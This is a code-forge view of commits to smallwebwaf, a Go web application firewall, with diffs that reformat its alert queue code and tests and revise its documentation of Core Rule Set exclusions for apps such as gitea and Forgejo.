Author SHA1 Message Date
sneak 7f8a59de04 Format Go with gofmt, then golines -m 77 (closes #215)
check / check (push) Waiting to run
script/fmt now runs golines -m 77 after gofmt, repeating golines until
it changes nothing, since one pass can leave a line the next splits.
script/fmt-check fails when either would change a file.
script/bootstrap installs golines v0.13.0 with go install, pinned to
its commit, and checks the installed version with go version -m.

The tree is reformatted. The longer lines this makes are fixed by
hand: nolint directives moved onto their own line above the statement,
one string split, and 20 functions over funlen's 80 lines shortened or
split, RunWAF and limitPercentages among them.

Model: opus-5-5
2026-11-11 15:14:58 +00:00
clawbot 63e58e326b Settings code: one file per daemon (closes #227)
check / check (push) Waiting to run
internal/config now keeps waf's settings in waf.go and rproxy's in
rproxy.go. config.go keeps what both read: the package doc,
SWW_COMMAND, the environment reader, listen addresses, sizes and
netblock lists. The app URL reader and the default trusted proxies,
which only rproxy uses, move to rproxy.go. config_test.go becomes
waf_test.go, beside rproxy_test.go. Code is moved, not changed.

Model: opus-5-5
2026-11-11 15:59:37 +01:00
clawbot f9bec5146b Core Rule Set: Forgejo's searches at a branch or tag, of releases and of job logs pass (closes #350)
check / check (push) Waiting to run
`testdata/forgejo-requests.txt` records these Forgejo 17.0.1 searches with the hard values, file names and plain words, and the code search with code and a page opened from each search. `forgejo.conf` lets them through:

- the code search at a branch or tag, where the home page's search box sends its search without a code indexer: `q` skips what it skips on gitea's code search, and `Referer` what it skips after gitea's searches;
- the release search, page and API: `q` skips 930120, 932120, 932160, 932250 and 932260, since it matches tag names;
- the job log search in the API: the same, without 932160.

In `gitea.conf`, `q` on a repository's branches page and an owner's packages page also skips 932160, so `/bin/sh` passes there. `SPEC.md` lists both.

Model: opus-5-5
2026-11-11 15:44:31 +01:00
clawbot 883969a9cd Core Rule Set: ls -la passes in q on a gitea user's or organisation's page (closes #349)
check / check (push) Waiting to run
On a path of one segment made of the characters a user's or an
organisation's name may hold, q now skips 932250 too, unless the path
ends in a server-side script's extension, such as .php or .cgi. The
searches on a user's and an organisation's page are recorded from gitea
1.27.3 and Forgejo 17.0.1.

Model: opus-5-5
2026-11-11 14:13:33 +01:00
131 changed files with 13073 additions and 6610 deletions

No files matched your search

+31 -31
View File
@@ -278,7 +278,6 @@ Every setting the code reads, with its default:
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
@@ -582,30 +581,30 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
front of a code forge, bodies carry what people write and publish, which the
rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary
requests to a code forge through, such as git over HTTP and sign-in through
Git Credential Manager. No setting undoes the changes; "Attack detection" in
[`SPEC.md`](SPEC.md) lists them.
- Each supported app also has its own fixes, which let its ordinary requests
through. Its recorded ordinary requests pass the Core Rule Set at the default
settings. The supported apps, by their names in `SWW_APPS`, are:
- `gitea`, whose fixes let its container registry, searches, file names and
branch names through;
- `forgejo`, a fork of gitea, which gets gitea's fixes too, and whose own
fixes let its wiki search and its admin page's search through;
- `wordpress`, whose fixes let through its searches, its names, its file
names and a post saved from the block editor;
- `drupal`, whose fixes let through the page to return to, its searches and
its names;
- `mediawiki`, whose fixes let through its searches, its page titles, its
names and its wikitext;
- `mastodon`, whose fixes let through its searches, its names, its email
addresses, its posts and deliveries from other servers;
- `vaultwarden`, whose fixes let through its names, its password hints, its
email addresses and its encrypted file names;
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
its searches, its file names, its account names, its comments and its
documents.
- `smallwebwaf` changes the Core Rule Set in fifteen ways so that ordinary
requests get through to the apps listed below. No setting undoes the changes;
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
- These apps work out of the box at the default settings, and their recorded
ordinary requests pass the Core Rule Set:
- gitea: git over HTTP and sign-in through Git Credential Manager get
through. On gitea's own paths, its searches, file names and branch names
do too.
- Forgejo: git over HTTP and its container and package registries get
through. On Forgejo's own paths, its searches, file names and branch names
do too.
- WordPress: saving a post from the block editor gets through. On
WordPress's own paths, its searches, names and file names do too.
- Drupal: on Drupal's own paths, the page to return to, its searches and its
names get through.
- MediaWiki: on MediaWiki's own paths, its searches, page titles, names and
wikitext get through.
- Mastodon: on Mastodon's own paths, its searches, names, email addresses,
posts and deliveries from other servers get through.
- Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
addresses and encrypted file names get through.
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
WebDAV methods, searches, file names, account names, comments and
documents do too.
- A random password, as a password manager makes one, gets through these forms:
- signing in, signing up, and changing or resetting a password, on
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud and gitea;
@@ -613,9 +612,6 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
- deleting the account, on gitea;
- the admin page, on Vaultwarden, whose apps send a hash of the master
password, not the password itself.
- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own
apps' fixes. A hostname `SWW_APPS` does not list gets none. Unset, every app's
fixes apply to every hostname.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
fields or paths.
- Rule files are plain text, one rule to a line, edited by hand and read again
@@ -715,7 +711,8 @@ on the host.
- `script/bootstrap`: installs on the host what the other scripts need, with
`make bootstrap`:
- `make`, `git` and `curl`;
- Go, for `gofmt`;
- Go, for `gofmt` and to build `golines`;
- `golines`, at a pinned version, with `go install`;
- node, yarn and prettier.
- `script/setup`: readies a fresh clone: `script/bootstrap`, then
`script/install-precommit`. `make setup`.
@@ -732,8 +729,11 @@ on the host.
the `tidy` stage of the `Dockerfile`. `make tidy`.
- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
`make lint`.
- `script/fmt`: formats the Go code with `gofmt` and the Markdown with prettier.
`make fmt`.
- `script/fmt`: formats the Go code with `gofmt` and then `golines -m 77`, and
the Markdown with prettier. `make fmt`.
- `golines` wraps code at 77 columns but leaves comments and strings alone.
Wrap those by hand.
- The linter fails only lines longer than 88 columns.
- `script/fmt-check`: checks the formatting and changes nothing.
`make fmt-check`.
- `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`.
+749 -743
View File
File diff suppressed because it is too large. Load diff
-26
View File
@@ -256,32 +256,6 @@ the request first.
a range. So does a directive that removes or changes rules as the file loads,
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
yet. It has no `_FILE` form.
- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
fixes of its hostname's apps only (see "Attack detection" in
[`SPEC.md`](../SPEC.md)).
- Entries are separated by semicolons. Each is a hostname, a colon, then one
or more apps separated by commas, for example
`git.example.com:gitea;blog.example.com:wordpress`.
- The supported apps are:
- `drupal`;
- `forgejo`, which gets gitea's fixes too;
- `gitea`;
- `mastodon`;
- `mediawiki`;
- `nextcloud`;
- `vaultwarden`;
- `wordpress`.
- The request's `Host` is matched by exact name, without its port and
without regard to case. There are no wildcards.
- A hostname not listed gets no app's fixes. Set empty, `SWW_APPS` lists no
hostname.
- Unset, every app's fixes apply to every hostname.
- Any of these mistakes stops the start:
- an unknown app;
- a hostname that is not a DNS name, such as `*.example.com`;
- a hostname listed twice;
- an app listed twice for one hostname;
- an entry without a colon.
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
in a minute from a rule file, a trap path or the Core Rule Set, a count or
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
+57 -18
View File
@@ -291,7 +291,15 @@ func cooldownKeyOf(alert *Alert) cooldownKey {
asn, _ := alert.Detail["asn"].(string)
name, _ := alert.Detail["name"].(string)
return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name}
return cooldownKey{
alert.Event,
alert.Netblock,
file,
source,
scope,
asn,
name,
}
}
// New returns a Queue with no alert yet.
@@ -333,7 +341,8 @@ func New(params Params) *Queue {
// queue of each destination, from which Run sends it, and with queueSize
// alerts waiting for a destination, the oldest is dropped.
func (q *Queue) Raise(alert Alert) {
if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) {
if len(q.destinations) == 0 ||
!slices.Contains(q.params.Events, alert.Event) {
return
}
@@ -380,7 +389,8 @@ func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool {
now := q.params.Now()
last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown {
if q.params.Cooldown > 0 && found &&
now.Sub(last.Sent) < q.params.Cooldown {
return false
}
@@ -474,10 +484,15 @@ func (q *Queue) Snapshot() State {
}
slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event),
cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source),
cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN),
cmp.Compare(a.Name, b.Name))
return cmp.Or(
a.Netblock.Compare(b.Netblock),
cmp.Compare(a.Event, b.Event),
cmp.Compare(a.File, b.File),
cmp.Compare(a.Source, b.Source),
cmp.Compare(a.Scope, b.Scope),
cmp.Compare(a.ASN, b.ASN),
cmp.Compare(a.Name, b.Name),
)
})
for _, d := range q.destinations {
@@ -609,9 +624,12 @@ func (q *Queue) endHour(now time.Time) {
var reasons []string
if heldBack > 0 {
reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
reasons = append(
reasons,
fmt.Sprintf("%d alerts held back in the hour from %s, "+
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour),
)
}
if repeats > 0 {
@@ -690,12 +708,19 @@ func (d *destination) run(ctx context.Context) {
case ctx.Err() == nil: // not cut off as sww stops
d.sendFailures.Add(1)
retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
maxRetryDelay)
retryDelay = min(
max(retryDelayFactor*retryDelay, firstRetryDelay),
maxRetryDelay,
)
retryAt = time.Now().Add(retryDelay)
d.processLog.Warn("sending an alert to "+d.setting+" failed",
"error", err.Error(), "sending_again_in", retryDelay.String())
d.processLog.Warn(
"sending an alert to "+d.setting+" failed",
"error",
err.Error(),
"sending_again_in",
retryDelay.String(),
)
}
}
}
@@ -783,8 +808,12 @@ func (d *destination) send(ctx context.Context, alert *Alert) error {
ctx, cancel := context.WithTimeout(ctx, sendTimeout)
defer cancel()
req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(),
bytes.NewReader(body))
req, err := http.NewRequestWithContext(
ctx,
http.MethodPost,
d.url.String(),
bytes.NewReader(body),
)
if err != nil {
return fmt.Errorf("make the request: %w", err)
}
@@ -838,7 +867,14 @@ func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) {
// in JSON: its title in bold, then its text, with &, < and > escaped, as
// Slack asks, so that nothing in them is read as a link or a mention.
func slackMessage(alert *Alert) ([]byte, http.Header, error) {
escape := strings.NewReplacer("&", "&amp;", "<", "&lt;", ">", "&gt;").Replace
escape := strings.NewReplacer(
"&",
"&amp;",
"<",
"&lt;",
">",
"&gt;",
).Replace
body, err := json.Marshal(map[string]string{
"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
@@ -936,7 +972,10 @@ func text(alert *Alert) string {
}
if alert.SuppressedRepeats > 0 {
lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats))
lines = append(
lines,
fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats),
)
}
return strings.Join(lines, "\n")
+314 -90
View File
@@ -65,7 +65,10 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
Netblock: netip.MustParsePrefix("203.0.113.0/24"),
Country: "DE",
Reason: "requests per minute over the limit of 1000",
Detail: map[string]any{"cause": "limit", "ban_expires": anHourOn},
Detail: map[string]any{
"cause": "limit",
"ban_expires": anHourOn,
},
})
synctest.Wait()
@@ -75,7 +78,12 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
}
if got[0].method != http.MethodPost || got[0].url != webhookURL {
t.Errorf("request %s %s, want POST %s", got[0].method, got[0].url, webhookURL)
t.Errorf(
"request %s %s, want POST %s",
got[0].method,
got[0].url,
webhookURL,
)
}
for name, want := range map[string]string{
@@ -84,21 +92,29 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
"X-Team": "ops",
} {
if got[0].header.Get(name) != want {
t.Errorf("header %s is %q, want %q", name, got[0].header.Get(name), want)
t.Errorf(
"header %s is %q, want %q",
name,
got[0].header.Get(name),
want,
)
}
}
wantAlert(t, got[0].alert, map[string]any{
"instance": instance,
"time": started,
"event": "ban",
"client": "203.0.113.9",
"netblock": "203.0.113.0/24",
"asn": "",
"as_name": "",
"country": "DE",
"reason": "requests per minute over the limit of 1000",
"detail": map[string]any{"cause": "limit", "ban_expires": anHourOn},
"instance": instance,
"time": started,
"event": "ban",
"client": "203.0.113.9",
"netblock": "203.0.113.0/24",
"asn": "",
"as_name": "",
"country": "DE",
"reason": "requests per minute over the limit of 1000",
"detail": map[string]any{
"cause": "limit",
"ban_expires": anHourOn,
},
"suppressed_repeats": float64(0),
})
wantCounts(t, q, 1, 0, 0, 0)
@@ -110,12 +126,25 @@ func TestOnlyTheChosenEventsAreSent(t *testing.T) {
synctest.Test(t, func(t *testing.T) {
params := newParams()
params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
params.Events = []string{
alerts.EventSourceFailure,
alerts.EventFileError,
}
webhook, q := start(t, params)
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(1)})
q.Raise(
alerts.Alert{
Event: alerts.EventFileError,
Reason: "a file error",
},
)
q.Raise(
alerts.Alert{
Event: alerts.EventPermanentBan,
Netblock: netblock(1),
},
)
synctest.Wait()
wantEvents(t, webhook, alerts.EventFileError)
@@ -127,12 +156,17 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
t.Parallel()
params := newParams()
params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
params.Events = []string{
alerts.EventSourceFailure,
alerts.EventFileError,
}
q := alerts.New(params)
if q.WouldSend(alerts.EventBan, netblock(1)) ||
q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
t.Error("a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out")
t.Error(
"a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out",
)
}
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
@@ -188,7 +222,10 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
"SWW_ALERT_NTFY_URL": onlyNtfy,
} {
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
t.Errorf("a ban alert would not be sent with only %s set", setting)
t.Errorf(
"a ban alert would not be sent with only %s set",
setting,
)
}
}
}
@@ -225,8 +262,14 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
synctest.Wait()
got := webhook.received()
wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventPermanentBan,
alerts.EventBan)
wantEvents(
t,
webhook,
alerts.EventBan,
alerts.EventBan,
alerts.EventPermanentBan,
alerts.EventBan,
)
for i, want := range []struct {
netblock int
@@ -235,9 +278,14 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
alert := got[i].alert
if alert["netblock"] != netblock(want.netblock).String() ||
alert["suppressed_repeats"] != want.repeats {
t.Errorf("alert %d is for %v with %v repeats, want %s with %v", i,
alert["netblock"], alert["suppressed_repeats"], netblock(want.netblock),
want.repeats)
t.Errorf(
"alert %d is for %v with %v repeats, want %s with %v",
i,
alert["netblock"],
alert["suppressed_repeats"],
netblock(want.netblock),
want.repeats,
)
}
}
@@ -245,7 +293,9 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
})
}
func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) {
func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
@@ -253,8 +303,11 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T)
webhook, q := start(t, params)
fileError := func(file string) alerts.Alert {
return alerts.Alert{
Event: alerts.EventFileError,
Detail: map[string]any{"file": file, "error": "line 2: an error"},
Event: alerts.EventFileError,
Detail: map[string]any{
"file": file,
"error": "line 2: an error",
},
}
}
sourceFailure := func(source string) alerts.Alert {
@@ -285,7 +338,11 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T)
"/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb",
}
if !slices.Equal(got, want) {
t.Errorf("the webhook was sent alerts for %v, want %v", got, want)
t.Errorf(
"the webhook was sent alerts for %v, want %v",
got,
want,
)
}
wantCounts(t, q, 4, 0, 2, 0)
@@ -298,8 +355,12 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T)
after.Raise(fileError("/rules.d/50-c.rules"))
waiting := after.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
t.Errorf("after loading, alerts wait %+v, want the one for 50-c.rules", waiting)
if len(waiting) != 1 ||
waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
t.Errorf(
"after loading, alerts wait %+v, want the one for 50-c.rules",
waiting,
)
}
})
}
@@ -336,7 +397,12 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)})
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)})
q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(4)})
q.Raise(
alerts.Alert{
Event: alerts.EventPermanentBan,
Netblock: netblock(4),
},
)
q.Raise(alerts.Alert{Event: alerts.EventFileError})
// The summary is sent as the hour ends, and not before.
@@ -346,7 +412,13 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
time.Sleep(time.Nanosecond)
synctest.Wait()
wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary)
wantEvents(
t,
webhook,
alerts.EventBan,
alerts.EventBan,
alerts.EventSummary,
)
summary := webhook.received()[2].alert
wantAlert(t, summary, map[string]any{
@@ -364,7 +436,9 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
"hour": started,
"count": float64(3),
"events": map[string]any{
"ban": float64(1), "permanent_ban": float64(1), "file_error": float64(1),
"ban": float64(
1,
), "permanent_ban": float64(1), "file_error": float64(1),
},
},
"suppressed_repeats": float64(0),
@@ -375,13 +449,21 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)})
time.Sleep(time.Hour)
synctest.Wait()
wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary,
alerts.EventBan)
wantEvents(
t,
webhook,
alerts.EventBan,
alerts.EventBan,
alerts.EventSummary,
alerts.EventBan,
)
wantCounts(t, q, 4, 0, 3, 0)
})
}
func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T) {
func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
@@ -389,7 +471,9 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
params.MaxPerHour = 1
webhook, q := start(t, params)
raise := func() {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
q.Raise(
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
}
// The hour's one alert, and two repeats the cooldown holds back.
@@ -408,7 +492,13 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
raise()
synctest.Wait()
wantEvents(t, webhook, alerts.EventBan, alerts.EventSummary, alerts.EventBan)
wantEvents(
t,
webhook,
alerts.EventBan,
alerts.EventSummary,
alerts.EventBan,
)
got := webhook.received()
if len(got) == 3 {
@@ -416,11 +506,16 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
summaryRepeats := got[1].alert["suppressed_repeats"]
lastRepeats := got[2].alert["suppressed_repeats"]
if detail["count"] != float64(1) || summaryRepeats != float64(2) ||
if detail["count"] != float64(1) ||
summaryRepeats != float64(2) ||
lastRepeats != float64(0) {
t.Errorf("the summary counts %v alerts and %v repeats, and the last "+
"alert gives %v repeats, want 1, 2 and 0", detail["count"],
summaryRepeats, lastRepeats)
t.Errorf(
"the summary counts %v alerts and %v repeats, and the last "+
"alert gives %v repeats, want 1, 2 and 0",
detail["count"],
summaryRepeats,
lastRepeats,
)
}
}
@@ -428,7 +523,9 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
})
}
func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) {
func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
t *testing.T,
) {
t.Parallel()
for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} {
@@ -465,8 +562,12 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T)
kept := len(q.Snapshot().Cooldowns)
if kept > int(cooldown/time.Minute) {
t.Errorf("after %d netblocks, %d cooldowns are kept, want at most %d",
netblocks, kept, int(cooldown/time.Minute))
t.Errorf(
"after %d netblocks, %d cooldowns are kept, want at most %d",
netblocks,
kept,
int(cooldown/time.Minute),
)
}
}
@@ -484,8 +585,13 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T)
kept := len(q.Snapshot().Cooldowns)
if kept != 0 || repeats != float64(netblocks) {
t.Errorf("%d cooldowns are kept and the webhook was given %v repeats, "+
"want 0 and %d", kept, repeats, netblocks)
t.Errorf(
"%d cooldowns are kept and the webhook was given %v repeats, "+
"want 0 and %d",
kept,
repeats,
netblocks,
)
}
})
})
@@ -620,8 +726,14 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
logged := log.String()
if !strings.Contains(logged,
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
t.Errorf("process log %q names no failure, or names the URL", logged)
strings.Contains(
logged,
"alerts.example",
) || strings.Contains(logged, "team=ops") {
t.Errorf(
"process log %q names no failure, or names the URL",
logged,
)
}
})
}
@@ -639,7 +751,9 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
// than the queue holds is raised: none waits, and the oldest, the
// one the webhook was sent, is dropped.
for n := range alerts.QueueSize + 1 {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
q.Raise(
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
)
if n == 0 {
synctest.Wait()
@@ -653,9 +767,17 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
wantCounts(t, q, 0, 0, 0, 1)
waiting := q.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != alerts.QueueSize || waiting[0].Netblock != netblock(1) {
t.Fatalf("%d alerts wait, the first for %s, want %d, the first for %s",
len(waiting), waiting[0].Netblock, alerts.QueueSize, netblock(1))
if len(waiting) != alerts.QueueSize ||
waiting[0].Netblock != netblock(1) {
t.Fatalf(
"%d alerts wait, the first for %s, want %d, the first for %s",
len(
waiting,
),
waiting[0].Netblock,
alerts.QueueSize,
netblock(1),
)
}
// The request is abandoned after 10 seconds, and the webhook, which
@@ -667,14 +789,22 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
got := webhook.received()
if len(got) != alerts.QueueSize+1 ||
got[0].alert["netblock"] != netblock(0).String() {
t.Fatalf("the webhook had %d requests, want %d, the first for %s",
len(got), alerts.QueueSize+1, netblock(0))
t.Fatalf(
"the webhook had %d requests, want %d, the first for %s",
len(got),
alerts.QueueSize+1,
netblock(0),
)
}
for i, request := range got[1:] {
if request.alert["netblock"] != netblock(i+1).String() {
t.Fatalf("request %d is for %v, want %s", i+1, request.alert["netblock"],
netblock(i+1))
t.Fatalf(
"request %d is for %v, want %s",
i+1,
request.alert["netblock"],
netblock(i+1),
)
}
}
@@ -692,8 +822,12 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
// Not sent: Run is not running. The repeat is held back by the
// cooldown, and the file error past the hourly limit.
before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
before.Raise(
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
before.Raise(
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
before.Raise(alerts.Alert{Event: alerts.EventFileError})
time.Sleep(time.Minute)
@@ -704,7 +838,9 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
// The new queue sends the alert waiting, holds back the repeat as
// the cooldown still runs, and sends the summary of the hour, which
// gives both repeats, as the cooldown has run out.
after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
after.Raise(
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
synctest.Wait()
wantEvents(t, webhook, alerts.EventBan)
@@ -715,9 +851,13 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
summary := webhook.received()[1].alert
detail, _ := summary["detail"].(map[string]any)
if detail["count"] != float64(1) || summary["suppressed_repeats"] != float64(2) {
t.Errorf("the summary counts %v alerts and %v repeats, want 1 and 2",
detail["count"], summary["suppressed_repeats"])
if detail["count"] != float64(1) ||
summary["suppressed_repeats"] != float64(2) {
t.Errorf(
"the summary counts %v alerts and %v repeats, want 1 and 2",
detail["count"],
summary["suppressed_repeats"],
)
}
})
}
@@ -747,7 +887,13 @@ func TestSlackAndNtfyAreSentAMessageForEachEvent(t *testing.T) {
for i, each := range want {
wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text)
wantNtfyMessage(t, ntfy[i], each.title, each.priorityAndTag, each.text)
wantNtfyMessage(
t,
ntfy[i],
each.title,
each.priorityAndTag,
each.text,
)
}
})
}
@@ -760,14 +906,23 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
params.WebhookURL = nil
params.MaxPerHour = 1
standIns, q := startAll(t, params)
ban := alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1), Reason: "a ban"}
ban := alerts.Alert{
Event: alerts.EventBan,
Netblock: netblock(1),
Reason: "a ban",
}
// The hour's one alert, a repeat of it the cooldown holds back, and
// an alert past the limit; once the hour has ended, its summary,
// which gives the repeat, and the next alert, which gives none.
q.Raise(ban)
q.Raise(ban)
q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
q.Raise(
alerts.Alert{
Event: alerts.EventFileError,
Reason: "a file error",
},
)
time.Sleep(time.Hour)
synctest.Wait()
q.Raise(ban)
@@ -786,8 +941,18 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
wantSlackMessage(t, slack[2], "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32")
wantNtfyMessage(
t,
ntfy[1],
instance+": summary",
"default bar_chart",
summary,
)
wantSlackMessage(
t,
slack[2],
"*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32",
)
wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry",
"a ban\nnetblock: 203.0.113.1/32")
})
@@ -813,7 +978,11 @@ func TestSlackMessageEscapesAmpersandsAndAngleBrackets(t *testing.T) {
wantSlackMessage(t, got[0], "*app&lt;1&gt;: file_error*\n"+
